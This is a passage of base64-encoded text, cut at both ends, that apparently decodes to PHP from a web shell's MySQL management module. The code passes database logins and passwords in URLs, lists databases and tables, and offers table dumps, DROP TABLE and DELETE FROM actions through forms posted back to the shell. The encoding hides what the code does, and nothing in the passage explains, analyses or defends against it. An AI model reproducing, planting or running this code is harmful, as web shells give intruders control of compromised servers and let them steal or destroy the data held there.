g9c2VydmVydmFycyIpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlByb2Nlc3NlcyIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF94PXByb2Nlc3NlcyIpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkxvZ291dCIsJHN1cmwuIng9c3FsIik7DQogICAgZWNobyAiTXlTUUwgIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iIChwcm90byB2LiIubXlzcWxfZ2V0X3Byb3RvX2luZm8gKCkuIikgcnVubmluZyBpbiAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiI6Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiBhcyAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIkAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiIgKHBhc3N3b3JkIC0gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIik8YnI+IjsNCiAgICBpZiAoY291bnQoJHNxbHF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiO319DQogIH0NCiAgZWNobyAiPC90ZD48L3RyPjx0cj4iOw0KICBpZiAoISRzcWxfc29jaykgew0KICAgIGVjaG8gIjx0ZCB3aWR0aD1cIjI4JVwiIGhlaWdodD1cIjEwMFwiIHZhbGlnbj1cInRvcFwiPjxsaT5JZiBsb2dpbiBpcyBudWxsLCBsb2dpbiBpcyBvd25lciBvZiBwcm9jZXNzLjxsaT5JZiBob3N0IGlzIG51bGwsIGhvc3QgaXMgbG9jYWxob3N0PC9iPjxsaT5JZiBwb3J0IGlzIG51bGwsIHBvcnQgaXMgMzMwNiAoZGVmYXVsdCk8L3RkPjx0ZCB3aWR0aD1cIjkwJVwiIGhlaWdodD0xIHZhbGlnbj1cInRvcFwiPiI7DQogICAgZWNobyAiPHRhYmxlIHdpZHRoPVwiMTAwJVwiIGJvcmRlcj0wPjx0cj48dGQ+PGI+UGxlYXNlLCBmaWxsIHRoZSBmb3JtOjwvYj48dGFibGU+PHRyPjx0ZD48Yj5Vc2VybmFtZTwvYj48L3RkPjx0ZD48Yj5QYXNzd29yZDwvYj48L3RkPjx0ZD48Yj5EYXRhYmFzZTwvYj48L3RkPjwvdHI+PGZvcm0gYWN0aW9uPVwiICRzdXJsIFwiIG1ldGhvZD1cIlBPU1RcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48dHI+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cInJvb3RcIiBtYXhsZW5ndGg9XCI2NFwiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwicGFzc3dvcmRcIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiXCIgbWF4bGVuZ3RoPVwiNjRcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCJcIiBtYXhsZW5ndGg9XCI2NFwiPjwvdGQ+PC90cj48dHI+PHRkPjxiPkhvc3Q8L2I+PC90ZD48dGQ+PGI+UE9SVDwvYj48L3RkPjwvdHI+PHRyPjx0ZCBhbGlnbj1yaWdodD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwibG9jYWxob3N0XCIgbWF4bGVuZ3RoPVwiNjRcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIjMzMDZcIiBtYXhsZW5ndGg9XCI2XCIgc2l6ZT1cIjNcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29ubmVjdFwiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPiI7DQogIH0NCiAgZWxzZSB7DQogICAgaWYgKCFlbXB0eSgkc3FsX2RiKSkgew0KICAgICAgPz48dGQgd2lkdGg9IjI1JSIgaGVpZ2h0PSIxMDAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIjsgPz4iPjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPg0KDQogICAgICA8P3BocA0KICAgICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfdGFibGVzKCRzcWxfZGIpOw0KICAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgICAgZWxzZSB7DQogICAgICAgIGVjaG8gIi0tLVsgPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiImXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiI8L2I+PC9hPiBdLS0tPGJyPiI7DQogICAgICAgICRjID0gMDsNCiAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRjb3VudCA9IG15c3FsX3F1ZXJ5ICgiU0VMRUNUIENPVU5UKCopIEZST00gIi4kcm93WzBdKTsgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7IGVjaG8gIjxiPismbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIiZzcWxfdGJsPSIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiI8L2I+PC9hPiAoIi4kY291bnRfcm93WzBdLiIpPC9icj48L2I+IjsgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsgJGMrKzt9DQogICAgICAgIGlmICghJGMpIHtlY2hvICJObyB0YWJsZXMgZm91bmQgaW4gZGF0YWJhc2UuIjt9DQogICAgICB9DQogICAgfQ0KICAgIGVsc2Ugew0KICAgICAgPz48dGQgd2lkdGg9IjEiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3FsX3N1cmw7ID8+Ij48Yj5Ib21lPC9iPjwvYT48aHIgc2l6ZT0iMSIgbm9zaGFkZT4NCiAgICAgIDw/cGhwDQogICAgICAkcmVzdWx0ID0gbXlzcWxfbGlzdF9kYnMoJHNxbF9zb2NrKTsNCiAgICAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgIGVsc2Ugew0KICAgICAgICA/Pjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PHNlbGVjdCBuYW1lPSJzcWxfZGIiPg0KICAgICAgICA8P3BocA0KICAgICAgICAkYyA9IDA7DQogICAgICAgICRkYnMgPSAiIjsNCiAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpIHskZGJzIC49ICI8b3B0aW9uIHZhbHVlPVwiIi4kcm93WzBdLiJcIiI7IGlmICgkc3FsX2RiID09ICRyb3dbMF0pIHskZGJzIC49ICIgc2VsZWN0ZWQiO30gJGRicyAuPSAiPiIuJHJvd1swXS4iPC9vcHRpb24+IjsgJGMrKzt9DQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5EYXRhYmFzZXMgKCIuJGMuIik8L29wdGlvbj4iOw0KICAgICAgICBlY2hvICRkYnM7DQogICAgICB9DQogICAgICA/Pjwvc2VsZWN0PjxociBzaXplPSIxIiBub3NoYWRlPlBsZWFzZSwgc2VsZWN0IGRhdGFiYXNlPGhyIHNpemU9IjEiIG5vc2hhZGU+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIj48L2Zvcm0+DQoNCiAgICAgIDw/cGhwDQogICAgfQ0KICAgIGVjaG8gIjwvdGQ+PHRkIHdpZHRoPVwiMTAwJVwiPiI7DQogICAgJGRpcGxheSA9IFRSVUU7DQogICAgaWYgKCRzcWxfZGIpIHsNCiAgICAgIGlmICghaXNfbnVtZXJpYygkYykpIHskYyA9IDA7fQ0KICAgICAgaWYgKCRjID09IDApIHskYyA9ICJubyI7fQ0KICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Y2VudGVyPjxiPlRoZXJlIGFyZSAiLiRjLiIgdGFibGUocykgaW4gdGhpcyBEQiAoIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiIpLjxicj4iOw0KICAgICAgaWYgKGNvdW50KCRkYnF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRkYnNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7ZWNobyAiWyA8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPiBdICI7fX0NCiAgICAgIGVjaG8gIjwvYj48L2NlbnRlcj4iOw0KICAgICAgJGFjdHMgPSBhcnJheSgiIiwiZHVtcCIpOw0KICAgICAgaWYgKCRzcWxfeCA9PSAidGJsZHJvcCIpIHskc3FsX3F1ZXJ5ID0gIkRST1AgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF94ID0gInF1ZXJ5Ijt9DQogICAgICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsZW1wdHkiKSB7JHNxbF9xdWVyeSA9ICIiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgRlJPTSBgIi4kdi4iYCBcbiI7fSAkc3FsX3ggPSAicXVlcnkiO30NCiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxkdW1wIikge2lmIChjb3VudCgkYm94dGJsKSA+IDApIHskZG1wdGJscyA9ICRib3h0Ymw7fSBlbHNlaWYoJHRoaXN0YmwpIHskZG1wdGJscyA9IGFycmF5KCRzcWxfdGJsKTt9ICRzcWxfeCA9ICJkdW1wIjt9DQogICAgICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsY2hlY2siKSB7JHNxbF9xdWVyeSA9ICJDSEVDSyBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX3ggPSAicXVlcnkiO30NCiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxvcHRpbWl6ZSIpIHskc3FsX3F1ZXJ5ID0gIk9QVElNSVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQ0KICAgICAgZWxzZWlmICgkc3FsX3ggPT0gInRibHJlcGFpciIpIHskc3FsX3F1ZXJ5ID0gIlJFUEFJUiBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX3ggPSAicXVlcnkiO30NCiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxhbmFseXplIikgeyRzcWxfcXVlcnkgPSAiQU5BTFlaRSBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX3ggPSAicXVlcnkiO30NCiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJkZWxldGVyb3ciKSB7JHNxbF9xdWVyeSA9ICIiOyBpZiAoIWVtcHR5KCRib3hyb3dfYWxsKSkgeyRzcWxfcXVlcnkgPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYDsiO30gZWxzZSB7Zm9yZWFjaCgkYm94cm93IGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHYuIiBMSU1JVCAxO1xuIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKTt9ICRzcWxfeCA9ICJxdWVyeSI7fQ0KICAgICAgZWxzZWlmICgkc3FsX3RibF94ID09ICJpbnNlcnQiKSB7DQogICAgICAgIGlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMSkgew0KICAgICAgICAgICRrZXlzID0gIiI7DQogICAgICAgICAgJGFrZXlzID0gYXJyYXlfa2V5cygkc3FsX3RibF9pbnNlcnQpOw0KICAgICAgICAgIGZvcmVhY2ggKCRha2V5cyBhcyAkdikgeyRrZXlzIC49ICJgIi5hZGRzbGFzaGVzKCR2KS4iYCwgIjt9DQogICAgICAgICAgaWYgKCFlbXB0eSgka2V5cykpIHska2V5cyA9IHN1YnN0cigka2V5cywwLHN0cmxlbigka2V5cyktMik7fQ0KICAgICAgICAgICR2YWx1ZXMgPSAiIjsNCiAgICAgICAgICAkaSA9IDA7DQogICAgICAgICAgZm9yZWFjaCAoYXJyYXlfdmFsdWVzKCRzcWxfdGJsX2luc2VydCkgYXMgJHYpIHtpZiAoJGZ1bmN0ID0gJHNxbF90YmxfaW5zZXJ0X2Z1bmN0c1skYWtleXNbJGldXSkgeyR2YWx1ZXMgLj0gJGZ1bmN0LiIgKCI7fSAkdmFsdWVzIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7IGlmICgkZnVuY3QpIHskdmFsdWVzIC49ICIpIjt9ICR2YWx1ZXMgLj0gIiwgIjsgJGkrKzt9DQogICAgICAgICAgaWYgKCFlbXB0eSgkdmFsdWVzKSkgeyR2YWx1ZXMgPSBzdWJzdHIoJHZhbHVlcywwLHN0cmxlbigkdmFsdWVzKS0yKTt9DQogICAgICAgICAgJHNxbF9xdWVyeSA9ICJJTlNFUlQgSU5UTyBgIi4kc3FsX3RibC4iYCAoICIuJGtleXMuIiApIFZBTFVFUyAoICIuJHZhbHVlcy4iICk7IjsNCiAgICAgICAgICAkc3FsX3ggPSAicXVlcnkiOw0KICAgICAgICAgICRzcWxfdGJsX3ggPSAiYnJvd3NlIjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAyKSB7DQogICAgICAgICAgJHNldCA9IG15c3FsX2J1aWxkd2hlcmUoJHNxbF90YmxfaW5zZXJ0LCIsICIsJHNxbF90YmxfaW5zZXJ0X2Z1bmN0cyk7DQogICAgICAgICAgJHNxbF9xdWVyeSA9ICJVUERBVEUgYCIuJHNxbF90YmwuImAgU0VUICIuJHNldC4iIFdIRVJFICIuJHNxbF90YmxfaW5zZXJ0X3EuIiBMSU1JVCAxOyI7DQogICAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnkpIG9yIHByaW50KG15c3FsX3NtYXJ0ZXJyb3IoKSk7DQogICAgICAgICAgJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKTsNCiAgICAgICAgICAkc3FsX3ggPSAicXVlcnkiOw0KICAgICAgICAgICRzcWxfdGJsX3ggPSAiYnJvd3NlIjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCRzcWxfeCA9PSAicXVlcnkiKSB7DQogICAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICAgICAgaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9DQogICAgICAgIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3ggPSAkc3FsX2dvdG87fQ0KICAgICAgICBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF94KSkge2VjaG8gIjx0YWJsZSBib3JkZXI9XCIwXCIgd2lkdGg9XCIxMDAlXCIgaGVpZ2h0PVwiMVwiPjx0cj48dGQ+PGZvcm0gYWN0aW9uPVwiIi4kc3FsX3N1cmwuIlwiIG1ldGhvZD1cIlBPU1RcIj48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvOiI7fSBlbHNlIHtlY2hvICJTUUwtUXVlcnkgOiI7fSBlY2hvICI8L2I+PGJyPjxicj48dGV4dGFyZWEgbmFtZT1cInNxbF9xdWVyeVwiIGNvbHM9XCIxMDBcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSkuIjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfeFwiIHZhbHVlPVwicXVlcnlcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInNxbF9jb25maXJtXCIgdmFsdWU9XCJZZXNcIj4gPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPiI7fQ0KICAgICAgfQ0KICAgICAgaWYgKGluX2FycmF5KCRzcWxfeCwkYWN0cykpIHsNCiAgICAgICAgPz48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+Q3JlYXRlIG5ldyB0YWJsZTo8L2I+DQoNCiAgICAgICAgPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfeCIgdmFsdWU9Im5ld3RibCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld3RibCIgc2l6ZT0iMjAiPg0KDQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPg0KICAgICAgICA8L2Zvcm0+PC90ZD4NCiAgICAgICAgPHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+RHVtcCBEQjo8L2I+DQogICAgICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3giIHZhbHVlPSJkdW1wIj4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/PiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPg0KDQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkdW1wX2ZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZWNobyAiZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCI7ID8+Ij48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPVwic3VibWl0XCIgdmFsdWU9IkR1bXAiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48L3RhYmxlPg0KICAgICAgICA8P3BocA0KICAgICAgICBpZiAoIWVtcHR5KCRzcWxfeCkpIHtlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7fQ0KICAgICAgICBpZiAoJHNxbF94ID09ICJuZXd0YmwiKSB7DQogICAgICAgICAgZWNobyAiPGI+IjsNCiAgICAgICAgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkgew0KICAgICAgICAgICAgZWNobyAiREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiIGhhcyBiZWVuIGNyZWF0ZWQgd2l0aCBzdWNjZXNzITwvYj48YnI+IjsNCiAgICAgICAgICB9DQogICAgICAgICAgZWxzZSB7ZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIi48YnI+UmVhc29uOjwvYj4gIi5teXNxbF9zbWFydGVycm9yKCk7fQ0KICAgICAgICB9DQogICAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJkdW1wIikgew0KICAgICAgICAgIGlmIChlbXB0eSgkc3VibWl0KSkgew0KICAgICAgICAgICAgJGRpcGxheSA9IEZBTFNFOw0KICAgICAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3hcIiB2YWx1ZT1cImR1bXBcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGI+U1FMLUR1bXA6PC9iPjxicj48YnI+IjsNCiAgICAgICAgICAgIGVjaG8gIjxiPkRCOjwvYj4gPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJHNxbF9kYikuIlwiPjxicj48YnI+IjsNCiAgICAgICAgICAgICR2ID0gam9pbiAoIjsiLCRkbXB0YmxzKTsNCiAgICAgICAgICAgIGVjaG8gIjxiPk9ubHkgdGFibGVzIChleHBs